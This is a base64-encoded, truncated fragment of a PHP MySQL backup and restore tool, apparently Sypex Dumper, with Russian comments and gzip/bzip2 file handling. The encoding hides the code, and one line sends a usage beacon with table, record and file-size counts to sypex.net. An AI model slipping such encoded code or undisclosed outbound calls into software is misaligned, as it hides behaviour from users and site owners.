JGxpbWl0IDwgMzAwID8gMzAwIDogJGxpbWl0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaW5mb1skaW5kZXhdID4gJGxpbWl0KXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGNhY2hlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJHN0cjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGluc2VydCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0Kys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc19za2QgJiYgJGluZm9bJGluZGV4XSA+ICRsaW1pdCAmJiAkdCAlICRsaW1pdCA9PSAwKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaW5zZXJ0ICYmIHByZWdfbWF0Y2goIi9eQ1JFQVRFIFRBQkxFIChJRiBOT1QgRVhJU1RTICk/YD8oW15gIF0rKWA/L2kiLCAkc3RyLCAkbSkgJiYgJHRhYmxlICE9ICRtWzJdKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFibGUgPSAkbVsyXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zZXJ0ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXNfY3JlYXRlID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvOyQvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9IHJ0cmltKCRpbnNlcnQgLiAkc3FsLCAiOyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRpbnNlcnQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA8IDQwMTAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi9FTkdJTkVccz89LyIsICJUWVBFPSIsICRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgiL0NSRUFURSBUQUJMRS9pIiwgJHNxbCkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vINCS0YvRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSsoXHcrKS9pIiwgJHNxbCwgJGNoYXJzZXQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5mb3JjZWRfY2hhcnNldCAmJiAkY2hhcnNldFsyXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChDSEFSU0VUID09ICdhdXRvJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkY2hhcnNldFsyXSAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkY2hhcnNldFsyXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICRjaGFyc2V0WzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQotCw0LHQu9C40YbQsCBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJGNoYXJzZXRbMl0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyDQnNC10L3Rj9C10Lwg0LrQvtC00LjRgNC+0LLQutGDINC10YHQu9C4INGD0LrQsNC30LDQvdC+INGE0L7RgNGB0LjRgNC+0LLQsNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZvcmNlZF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oXC9cKiFcZCtccyk/KChDT0xMQVRFKVs9XHNdKylcdysoXHMrXCpcLyk/L2kiLCAnJywgJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSspXHcrL2kiLCAiXFwxIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlLCAkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKENIQVJTRVQgPT0gJ2F1dG8nKXsgLy8g0JLRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDQtNC70Y8g0YLQsNCx0LvQuNGGLCDQtdGB0LvQuCDQvtC90LAg0L3QtSDRg9C60LDQt9Cw0L3QsCDQuCDRg9GB0YLQsNC90L7QstC70LXQvdCwIGF1dG8g0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICcgREVGQVVMVCBDSEFSU0VUPScgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gJHRoaXMtPnJlc3RvcmVfY29sbGF0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICE9ICRsYXN0X2NoYXJzZXQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyAnIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsYXN0X3Nob3dlZCAhPSAkdGFibGUpIHskY2FjaGUgLj0gdHBsX2woItCi0LDQsdC70LjRhtCwIGB7JHRhYmxlfWAuIik7ICRsYXN0X3Nob3dlZCA9ICR0YWJsZTt9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiBlbXB0eSgkbGFzdF9jaGFyc2V0KSkgeyAvLyDQo9GB0YLQsNC90LDQstC70LjQstCw0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0L3QsCDRgdC70YPRh9Cw0Lkg0LXRgdC70Lgg0L7RgtGB0YPRgtGB0YLQstGD0LXRgiBDUkVBVEUgVEFCTEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICciIC4gJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGluc2VydCA9ICcnOwogICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkcXVlcnlfbGVuID49IDY1NTM2ICYmIHByZWdfbWF0Y2goIi8sJC8iLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gcnRyaW0oJGluc2VydCAuICRzcWwsICIsIik7CiAgICAgICAgICAgICAgICAgICAgJGV4ZWN1dGUgPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV4ZWN1dGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHErKzsKICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoJHNxbCkgb3IgdHJpZ2dlcl9lcnJvciAoIldyb25nIHF1ZXJyeS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL15pbnNlcnQvaSIsICRzcWwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWZmX3Jvd3MgKz0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5X2xlbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAkY2FjaGU7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDEgLCAxKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJEQiB3YXMgcmVzdG9yZWQgZnJvbSBiYWNrdXAuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmZvWzNdKSkgZWNobyB0cGxfbCgi0JTQsNGC0LAg0YHQvtC30LTQsNC90LjRjyDQutC+0L/QuNC4OiB7JGluZm9bM119IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgiREIgcXVlcmllczogeyRxfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIlRhYmxlcyB3YXMgY3JlYXRlZDogeyR0YWJzfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woItCh0YLRgNC+0Log0LTQvtCx0LDQstC70LXQvdC+OiB7JGFmZl9yb3dzfSIsIENfUkVTVUxUKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+dGFicyA9ICR0YWJzOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAkYWZmX3Jvd3M7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2l6ZSA9IGZpbGVzaXplKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddICogMTAgKyAkdGhpcy0+U0VUWydjb21wX2xldmVsJ107CiAgICAgICAgICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPiI7CiAgICAgICAgICAgICAgICAvLyDQn9C10YDQtdC00LDRh9CwINC00LDQvdC90YvRhSDQtNC70Y8g0LPQu9C+0LHQsNC70YzQvdC+0Lkg0YHRgtCw0YLQuNGB0YLQuNC60LgKICAgICAgICAgICAgICAgIGlmIChHUykgZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnR1MnKS5zcmMgPSAnaHR0cDovL3N5cGV4Lm5ldC9ncy5waHA/cj17JHRoaXMtPnRhYnN9LHskdGhpcy0+cmVjb3Jkc30seyR0aGlzLT5zaXplfSx7JHRoaXMtPmNvbXB9LDEwOCc7PC9TQ1JJUFQ+IjsKCiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fY2xvc2UoJGZwKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIG1haW4oKXsKICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCc5JyA9PiAnOSAo0LzQsNC60YHQuNC80LDQu9GM0L3QsNGPKScsICc4JyA9PiAnOCcsICc3JyA9PiAnNycsICc2JyA9PiAnNicsICc1JyA9PiAnNSAo0YHRgNC10LTQvdGP0Y8pJywgJzQnID0+ICc0JywgJzMnID0+ICczJywgJzInID0+ICcyJywgJzEnID0+ICcxICjQvNC40L3QuNC80LDQu9GM0L3QsNGPKScsJzAnID0+ICfQkdC10Lcg0YHQttCw0YLQuNGPJyk7CgogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiYnpvcGVuIikpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcF9tZXRob2RzWzJdID0gJ0JaaXAyJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImd6b3BlbiIpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbXBfbWV0aG9kc1sxXSA9ICdHWmlwJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX21ldGhvZHNbMF0gPSAn0JHQtdC3INGB0LbQsNGC0LjRjyc7CiAgICAgICAgICAgICAgICBpZiAoY291bnQoJHRoaXMtPmNvbXBfbWV0aG9kcykgPT0gMSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCcwJyA9PifQkdC10Lcg0YHQttCw0YLQuNGPJyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJGRicyA9ICR0aGlzLT5kYl9zZWxlY3QoKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydkYl9iYWNrdXAnXSAgICA9ICR0aGlzLT5mbl9zZWxlY3QoJGRicywgJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+dmFyc1snZGJfcmVzdG9yZSddICAgPSAkdGhpcy0+Zm5fc2VsZWN0KCRkYnMsICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydjb21wX2xldmVscyddICA9ICR0aGlzLT5mbl9zZWxlY3QoJHRoaXMtPmNvbXBfbGV2ZWxzLCAkdGhpcy0+U0VUWydjb21wX2xldmVsJ10pOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2NvbXBfbWV0aG9kcyddID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+Y29tcF9tZXRob2RzLCAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWyd0YWJsZXMnXSAgICAgICA9ICR0aGlzLT5TRVRbJ3RhYmxlcyddOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2ZpbGVzJ10gICAgICAgID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+ZmlsZV9zZWxlY3QoKSwgJycpOwogICAgICAgICAgICAgICAgZ2xvYmFsICRkdW1wZXJfZmlsZTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBUWVBFPXN1Ym1pdCBWQUxVRT1BcHBseT48SU5QVVQgVFlQRT1idXR0b24gVkFMVUU9RXhpdCBvbkNsaWNrPVwibG9jYXRpb24uaHJlZiA9ICciLiRkdW1wZXJfZmlsZS4iP3JlbG9hZCdcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfbWFpbigpLCAkYnV0dG9ucyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBkYl9zZWxlY3QoKXsKICAgICAgICAgICAgICAgIGlmIChEQk5BTUVTICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtcyA9IGV4cGxvZGUoJywnLCB0cmltKERCTkFNRVMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbXMgQVMgJGl0ZW0pewogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXlzcWxfc2VsZWN0X2RiKCRpdGVtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFicyA9IG15c3FsX251bV9yb3dzKCR0YWJsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRic1skaXRlbV0gPSAieyRpdGVtfSAoeyR0YWJzfSkiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiKTsKICAgICAgICAgICAgICAgICRkYnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChteXNxbF9zZWxlY3RfZGIoJGl0ZW1bMF0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmxlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFibGVzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJzID0gbXlzcWxfbnVtX3Jvd3MoJHRhYmxlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzWyRpdGVtWzBdXSA9ICJ7JGl0ZW1bMF19ICh7JHRhYnN9KSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkZGJzOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZmlsZV9zZWxlY3QoKXsKICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCcnID0+ICcgJyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKFBBVEgpICYmICRoYW5kbGUgPSBvcGVuZGlyKFBBVEgpKSB7CiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXi4rP1wuc3FsKFwuKGd6fGJ6MikpPyQvIiwgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzWyRmaWxlXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgIH0KICAgICAgICBrc29ydCgkZmlsZXMpOwogICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX29wZW4oJG5hbWUsICRtb2RlKXsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmJ6MiI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6b3BlbihQQVRIIC4gJHRoaXMtPmZpbGVuYW1lLCAieyRtb2RlfWJ7JHRoaXMtPlNFVFsnY29tcF9sZXZlbCddfSIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmd6IjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pvcGVuKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUsICJ7JG1vZGV9YnskdGhpcy0+U0VUWydjb21wX2xldmVsJ119Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZW5hbWUgPSAieyRuYW1lfS5zcWwiOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZm9wZW4oUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgInskbW9kZX1iIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl93cml0ZSgkZnAsICRzdHIpewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6d3JpdGUoJGZwLCAkc3RyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3p3cml0ZSgkZnAsICRzdHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJHN0cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9yZWFkKCRmcCl7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAyKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6cmVhZCgkZnAsIDQwOTYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pyZWFkKCRmcCwgNDA5Nik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgIC